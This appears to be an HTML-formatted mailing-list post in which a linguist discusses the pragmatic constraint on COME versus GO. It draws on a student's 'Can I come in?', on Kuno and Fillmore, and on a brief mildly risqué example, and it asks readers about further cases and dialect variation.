<DIV><BR></DIV><FONT size=4>This list has become unusually quiet... perhaps
our minds are already into Thanksgiving next week. Well, some of you may be
interested in an exchange I had with a foreign student of mine a couple of
days ago. I was sitting in my office and she asked, "Can I come in?" Then she
observed that she could not use the verb GO in her question, although I am the
one that was inside my office. (Apparently a counterpart of either verb would
be OK in Korean!) I concurred, adding that there was probably a pragmatic
constraint that requires that one adopt the addressee's "camera angle" (to
borrow something from Susumo Kuno) under such conditions. If I had been
outside my office too, next to her or behind her, she probably should have
asked "Can I go in?" and I think that "could I come in?" would have been
infelicitous. I don't think Chuck Fillmore discussed this kind of
constraint when he published his paper on COME/GO in SEMIOTICA, I think in
1973.<BR><BR> I have been thinking and believe that
the constraint applies in other cases too. If you are puritanistic you may
want to skip this paragraph and not come/go/get into the following
considerations with me. In sexual intercourse a man can only tell his partner
that he is coming, not going, I suppose. His partner naturally can only invite
him to come. Are there other cases where such a rigid constraint is associated
with COME, against GO--or the other way around?<BR><BR>How's your
paper/project coming along?<BR>or How's your paper/project going
(*along)?<BR><BR>Of course, any dialectal variation in this
regard?<BR><BR>Sali.<BR><BR></FONT><BR><FONT
